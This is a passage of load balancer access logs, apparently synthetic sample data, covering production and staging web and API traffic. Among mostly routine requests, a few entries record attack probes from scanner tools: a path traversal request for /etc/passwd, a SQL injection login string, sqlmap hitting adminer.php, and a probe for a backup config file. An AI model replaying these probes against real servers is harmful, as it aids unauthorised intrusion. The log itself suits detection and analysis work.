10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723daa7-443d2ab93aba4a3eb6baf4ba" "prod-web-alb.example.com" "-" 6 2024-11-01T02:29:43.486717Z "forward" "-" "-" "10.0.122.199:443" "200" "-" "-" -https 2024-11-01T02:29:44.887495Z prod-api-alb 16.138.123.56:18880 10.0.92.56:443 0.078646 0.451866 0.043357 200 200 190 2736 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723daa8-ee351d99b90449109546df73" "prod-api-alb.example.com" "-" 10 2024-11-01T02:29:44.887495Z "forward" "-" "-" "10.0.92.56:443" "200" "-" "-" -https 2024-11-01T02:29:45.645512Z prod-web-alb 172.92.42.105:31319 10.0.176.64:443 0.018560 0.288496 0.083370 200 200 521 9987 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723daa9-0674a3bcc5494c5e965120c3" "prod-web-alb.example.com" "-" 0 2024-11-01T02:29:45.645512Z "forward" "-" "-" "10.0.176.64:443" "200" "-" "-" -https 2024-11-01T02:29:47.544595Z prod-api-alb 123.182.170.143:16542 10.0.83.219:443 0.037437 0.003927 0.085638 200 200 214 2186 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723daab-98f502e2efb24a94a0e9e2ab" "-" "-" 9 2024-11-01T02:29:47.544595Z "forward" "-" "-" "10.0.83.219:443" "200" "-" "-" -http 2024-11-01T02:29:48.621406Z staging-alb 45.155.205.109:31014 204.215.128.138:443 0.143156 0.199452 0.073587 500 500 460 14413 "PUT /debug/pprof HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723daac-27e255dc1df04bcf848563a3" "-" "-" 6 2024-11-01T02:29:48.621406Z "forward" "-" "-" "204.215.128.138:443" "500" "-" "-" -https 2024-11-01T02:29:50.214287Z prod-api-alb 193.27.228.174:42066 10.0.46.209:443 0.021058 0.035102 0.037549 403 403 931 14228 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "zgrab/0.x" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723daae-4ee9e55ddc294c45afd02205" "-" "-" 7 2024-11-01T02:29:50.214287Z "forward" "-" "-" "10.0.46.209:443" "403" "-" "-" -https 2024-11-01T02:29:50.929608Z prod-web-alb 99.210.41.93:15520 10.0.187.179:443 0.036707 0.001073 0.055106 200 200 222 14838 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723daae-0037a51b4f9045d4af4380ac" "prod-web-alb.example.com" "-" 0 2024-11-01T02:29:50.929608Z "forward" "-" "-" "10.0.187.179:443" "200" "-" "-" -https 2024-11-01T02:29:51.632497Z prod-web-alb 219.4.48.54:57304 10.0.68.225:443 0.073457 0.113114 0.066404 301 301 629 3457 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723daaf-a9e2705cb8fe4018aee4a7a7" "prod-web-alb.example.com" "-" 6 2024-11-01T02:29:51.632497Z "forward" "-" "-" "10.0.68.225:443" "301" "-" "-" -https 2024-11-01T02:29:52.037999Z prod-web-alb 29.156.42.12:63679 10.0.79.11:443 0.093548 0.484510 0.090942 404 404 216 12112 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dab0-a243f42e138e4a52b7b379ef" "prod-web-alb.example.com" "-" 6 2024-11-01T02:29:52.037999Z "forward" "-" "-" "10.0.79.11:443" "404" "-" "-" -https 2024-11-01T02:29:52.253673Z prod-web-alb 45.155.205.9:59664 10.0.30.83:443 0.079021 0.352292 0.047217 301 301 223 7024 "POST /adminer.php HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dab0-f7ad6a3b2eda476d99bc570f" "-" "-" 6 2024-11-01T02:29:52.253673Z "forward" "-" "-" "10.0.30.83:443" "301" "-" "-" -https 2024-11-01T02:29:53.328917Z prod-web-alb 201.79.29.200:23254 10.0.95.88:443 0.057859 0.130085 0.065467 404 404 348 8372 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dab1-cfb6e623b96a406ba773e857" "prod-web-alb.example.com" "-" 0 2024-11-01T02:29:53.328917Z "forward" "-" "-" "10.0.95.88:443" "404" "-" "-" -https 2024-11-01T02:29:53.919658Z staging-alb 255.159.235.84:62839 104.231.198.244:8080 0.079077 0.103182 0.105297 302 302 538 5690 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dab1-09f51506f92e4e23bb5cecc5" "staging-alb.example.com" "-" 8 2024-11-01T02:29:53.919658Z "forward" "-" "-" "104.231.198.244:8080" "302" "-" "-" -https 2024-11-01T02:29:55.666889Z prod-api-alb 43.103.180.64:14960 10.0.120.64:443 0.065070 0.146264 0.039455 200 200 498 10731 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dab3-bc309e72ac9a480e80ec60d9" "prod-api-alb.example.com" "-" 1 2024-11-01T02:29:55.666889Z "forward" "-" "-" "10.0.120.64:443" "200" "-" "-" -https 2024-11-01T02:29:56.241846Z prod-api-alb 214.126.227.65:61874 10.0.80.110:443 0.064599 0.477592 0.071726 301 301 326 983 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dab4-7da607b882834754908ae5fb" "prod-api-alb.example.com" "-" 8 2024-11-01T02:29:56.241846Z "forward" "-" "-" "10.0.80.110:443" "301" "-" "-" -https 2024-11-01T02:29:57.284445Z prod-api-alb 85.67.80.35:16654 10.0.182.80:443 0.071204 0.183254 0.057629 302 302 930 10037 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dab5-e56901ce29804b1aa0ae06dc" "-" "-" 4 2024-11-01T02:29:57.284445Z "forward" "-" "-" "10.0.182.80:443" "302" "-" "-" -https 2024-11-01T02:29:57.405763Z prod-api-alb 227.131.199.51:17371 10.0.153.158:443 0.078043 0.303495 0.074367 200 200 921 7559 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dab5-bc69d40fddb64dbeb153479a" "prod-api-alb.example.com" "-" 10 2024-11-01T02:29:57.405763Z "forward" "-" "-" "10.0.153.158:443" "200" "-" "-" -https 2024-11-01T02:29:57.527546Z prod-web-alb 255.218.187.169:53052 10.0.11.211:443 0.080735 0.472177 0.070760 301 301 478 2957 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dab5-1860ccc4acb4428686cb886d" "prod-web-alb.example.com" "-" 9 2024-11-01T02:29:57.527546Z "forward" "-" "-" "10.0.11.211:443" "301" "-" "-" -https 2024-11-01T02:29:57.697579Z prod-web-alb 187.2.13.117:35693 10.0.17.51:443 0.025232 0.223137 0.086024 200 200 415 6565 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dab5-ee67621a0f14439895720f55" "prod-web-alb.example.com" "-" 5 2024-11-01T02:29:57.697579Z "forward" "-" "-" "10.0.17.51:443" "200" "-" "-" -http 2024-11-01T02:29:59.641714Z staging-alb 239.220.240.39:16216 6.48.7.99:443 0.027076 0.426818 0.005527 200 200 835 12178 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dab7-a971c64394664c11bc149fc9" "staging-alb.example.com" "-" 7 2024-11-01T02:29:59.641714Z "forward" "-" "-" "6.48.7.99:443" "200" "-" "-" -https 2024-11-01T02:30:00.226378Z prod-web-alb 244.123.215.28:11590 10.0.38.96:443 0.068632 0.250617 0.090191 301 301 659 14485 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dab8-a62e892db8ad439e8dced270" "prod-web-alb.example.com" "-" 10 2024-11-01T02:30:00.226378Z "forward" "-" "-" "10.0.38.96:443" "301" "-" "-" -https 2024-11-01T02:30:01.001043Z prod-web-alb 127.147.144.76:45410 10.0.224.60:443 0.002455 0.460892 0.014894 301 301 417 8432 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dab9-e203c9db4b15487b878a69dd" "prod-web-alb.example.com" "-" 9 2024-11-01T02:30:01.001043Z "forward" "-" "-" "10.0.224.60:443" "301" "-" "-" -https 2024-11-01T02:30:02.196487Z prod-api-alb 237.183.208.8:20758 10.0.106.189:443 0.078552 0.376710 0.035306 200 200 428 3372 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723daba-8dc0293bfdc349cab4f3456f" "prod-api-alb.example.com" "-" 5 2024-11-01T02:30:02.196487Z "forward" "-" "-" "10.0.106.189:443" "200" "-" "-" -https 2024-11-01T02:30:04.072152Z prod-api-alb 67.37.246.238:47282 10.0.17.13:443 0.073255 0.045890 0.001554 200 200 145 9063 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dabc-e7fc4e064a814bd187842b06" "prod-api-alb.example.com" "-" 7 2024-11-01T02:30:04.072152Z "forward" "-" "-" "10.0.17.13:443" "200" "-" "-" -https 2024-11-01T02:30:05.890932Z prod-api-alb 225.162.21.27:41633 10.0.187.125:443 0.034002 0.012009 0.029631 404 404 227 6325 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dabd-95f0dd1979574994a1352e1d" "prod-api-alb.example.com" "-" 7 2024-11-01T02:30:05.890932Z "forward" "-" "-" "10.0.187.125:443" "404" "-" "-" -https 2024-11-01T02:30:06.962339Z prod-web-alb 156.50.24.30:20800 10.0.87.50:443 0.096853 0.079771 0.002997 404 404 4 6559 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dabe-080d6222e5cf4b5a9003fd0f" "prod-web-alb.example.com" "-" 10 2024-11-01T02:30:06.962339Z "forward" "-" "-" "10.0.87.50:443" "404" "-" "-" -https 2024-11-01T02:30:07.153093Z prod-api-alb 4.63.173.90:20636 10.0.113.57:443 0.096326 0.124849 0.007804 200 200 282 13676 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dabf-507feb0d7f8a48b08b9a755a" "prod-api-alb.example.com" "-" 0 2024-11-01T02:30:07.153093Z "forward" "-" "-" "10.0.113.57:443" "200" "-" "-" -https 2024-11-01T02:30:07.351837Z prod-api-alb 111.205.72.46:49452 10.0.25.199:443 0.025186 0.179540 0.053404 200 200 746 7412 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dabf-63d91a2f83a9445faf798a33" "prod-api-alb.example.com" "-" 3 2024-11-01T02:30:07.351837Z "forward" "-" "-" "10.0.25.199:443" "200" "-" "-" -https 2024-11-01T02:30:09.241962Z prod-api-alb 185.181.178.132:15093 10.0.26.158:443 0.083768 0.396444 0.072871 200 200 316 10152 "POST /admin/login?username=admin'--&password=x HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dac1-95d20fd399664b588e4af424" "-" "-" 1 2024-11-01T02:30:09.241962Z "forward" "-" "-" "10.0.26.158:443" "200" "-" "-" -https 2024-11-01T02:30:10.219886Z prod-api-alb 115.152.57.45:12098 10.0.233.44:443 0.052747 0.317550 0.055052 200 200 36 10525 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dac2-a7b43d8ee2b54dacbe8fae91" "prod-api-alb.example.com" "-" 5 2024-11-01T02:30:10.219886Z "forward" "-" "-" "10.0.233.44:443" "200" "-" "-" -https 2024-11-01T02:30:12.005368Z prod-api-alb 215.31.16.91:57860 10.0.23.69:443 0.092970 0.336278 0.022731 200 200 803 937 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dac4-3185b6b873e1415b90cfcec9" "prod-api-alb.example.com" "-" 9 2024-11-01T02:30:12.005368Z "forward" "-" "-" "10.0.23.69:443" "200" "-" "-" -http 2024-11-01T02:30:12.635020Z staging-alb 67.237.119.135:10641 30.88.45.132:443 0.088983 0.267013 0.094891 200 200 618 9044 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dac4-47f2777c049a485d867a5f3b" "staging-alb.example.com" "-" 10 2024-11-01T02:30:12.635020Z "forward" "-" "-" "30.88.45.132:443" "200" "-" "-" -https 2024-11-01T02:30:13.471095Z prod-web-alb 64.15.244.29:18927 10.0.233.94:443 0.035552 0.140349 0.061637 200 200 144 7137 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dac5-9d167cc189dd473888a9c56e" "prod-web-alb.example.com" "-" 4 2024-11-01T02:30:13.471095Z "forward" "-" "-" "10.0.233.94:443" "200" "-" "-" -http 2024-11-01T02:30:13.958582Z staging-alb 68.24.156.126:41423 189.245.77.131:8080 0.075060 0.563040 0.006638 200 200 341 5791 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dac5-5d21c97e181644aba950d03d" "staging-alb.example.com" "-" 1 2024-11-01T02:30:13.958582Z "forward" "-" "-" "189.245.77.131:8080" "200" "-" "-" -https 2024-11-01T02:30:15.520811Z staging-alb 16.100.48.121:38163 158.202.55.198:443 0.097629 0.444910 0.037972 200 200 461 2900 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dac7-e44dec1858754921b721db46" "staging-alb.example.com" "-" 5 2024-11-01T02:30:15.520811Z "forward" "-" "-" "158.202.55.198:443" "200" "-" "-" -https 2024-11-01T02:30:17.287824Z prod-api-alb 228.161.87.218:32195 10.0.9.94:443 0.001207 0.103729 0.079213 301 301 706 321 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dac9-6abf5a56d4d8461abf3d20a5" "prod-api-alb.example.com" "-" 2 2024-11-01T02:30:17.287824Z "forward" "-" "-" "10.0.9.94:443" "301" "-" "-" -https 2024-11-01T02:30:18.005651Z prod-api-alb 157.131.71.166:47909 10.0.23.236:443 0.064608 0.299615 0.051453 404 404 846 9704 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723daca-f722149b86114f84b0de82c5" "prod-api-alb.example.com" "-" 0 2024-11-01T02:30:18.005651Z "forward" "-" "-" "10.0.23.236:443" "404" "-" "-" -https 2024-11-01T02:30:18.434623Z prod-api-alb 4.14.253.185:14325 10.0.173.217:443 0.019458 0.386935 0.045608 404 404 873 1923 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723daca-e8f96d6059fd4fd6a3d86b99" "prod-api-alb.example.com" "-" 5 2024-11-01T02:30:18.434623Z "forward" "-" "-" "10.0.173.217:443" "404" "-" "-" -https 2024-11-01T02:30:20.111155Z prod-web-alb 158.251.13.243:60185 10.0.241.104:443 0.081035 0.135915 0.070790 302 302 355 10960 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dacc-91aaec7c6a2e48388e373dae" "prod-web-alb.example.com" "-" 3 2024-11-01T02:30:20.111155Z "forward" "-" "-" "10.0.241.104:443" "302" "-" "-" -https 2024-11-01T02:30:21.153403Z prod-web-alb 111.92.240.112:58519 10.0.67.205:443 0.027279 0.234418 0.055867 200 200 249 4466 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dacd-ae15fecddace48ecad1447a4" "prod-web-alb.example.com" "-" 2 2024-11-01T02:30:21.153403Z "forward" "-" "-" "10.0.67.205:443" "200" "-" "-" -https 2024-11-01T02:30:22.992060Z prod-web-alb 183.35.168.224:34061 10.0.18.120:443 0.066825 0.461637 0.035053 200 200 883 3092 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dace-aced868cb8094f1398893562" "prod-web-alb.example.com" "-" 10 2024-11-01T02:30:22.992060Z "forward" "-" "-" "10.0.18.120:443" "200" "-" "-" -https 2024-11-01T02:30:23.779506Z prod-api-alb 162.162.110.222:40543 10.0.123.8:443 0.051024 0.058104 0.025041 200 200 893 1299 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dacf-d5fc07921c1e4e0ab06a82fd" "prod-api-alb.example.com" "-" 7 2024-11-01T02:30:23.779506Z "forward" "-" "-" "10.0.123.8:443" "200" "-" "-" -https 2024-11-01T02:30:24.505564Z prod-api-alb 191.25.200.227:45488 10.0.202.122:443 0.054422 0.035061 0.035147 200 200 288 1510 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dad0-712f4e8c1e27414c8dbf4fb3" "prod-api-alb.example.com" "-" 1 2024-11-01T02:30:24.505564Z "forward" "-" "-" "10.0.202.122:443" "200" "-" "-" -https 2024-11-01T02:30:25.417418Z prod-web-alb 81.117.139.235:61059 10.0.166.140:443 0.064871 0.283473 0.061370 404 404 635 2415 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dad1-951962a4d1b64907a04b5b4c" "prod-web-alb.example.com" "-" 7 2024-11-01T02:30:25.417418Z "forward" "-" "-" "10.0.166.140:443" "404" "-" "-" -https 2024-11-01T02:30:26.830464Z prod-api-alb 193.27.228.51:51791 10.0.8.32:443 0.035356 0.214263 0.070965 401 401 17 7184 "GET /config.php~ HTTP/1.1" "Go-http-client/2.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dad2-3790b2fc9ea34d648451f612" "-" "-" 0 2024-11-01T02:30:26.830464Z "forward" "-" "-" "10.0.8.32:443" "401" "-" "-" -http 2024-11-01T02:30:28.659622Z staging-alb 251.185.31.33:60921 116.174.96.135:80 0.094312 0.338150 0.052210 404 404 502 944 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dad4-6cd07be56fc940f796523f1c" "staging-alb.example.com" "-" 1 2024-11-01T02:30:28.659622Z "forward" "-" "-" "116.174.96.135:80" "404" "-" "-" -http 2024-11-01T02:30:29.124079Z staging-alb 59.110.11.167:62945 176.252.72.177:80 0.065865 0.169363 0.102171 301 301 885 1647 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dad5-847573e66f064b34a87d3cbf" "staging-alb.example.com" "-" 5 2024-11-01T02:30:29.124079Z "forward" "-" "-" "176.252.72.177:80" "301" "-" "-" -https 2024-11-01T02:30:30.233851Z prod-web-alb 158.173.180.105:28486 10.0.221.229:443 0.080085 0.379919 0.080680 301 301 308 8062 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dad6-98be6e8d0eca4e5f93bd2d30" "prod-web-alb.example.com" "-" 9 2024-11-01T02:30:30.233851Z "forward" "-" "-" "10.0.221.229:443" "301" "-" "-" -https 2024-11-01T02:30:31.721231Z prod-web-alb 209.234.2.61:32749 10.0.157.68:443 0.079185 0.004393 0.046101 200 200 160 3236 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dad7-99d44f38ce1c41e6b4b51e1e" 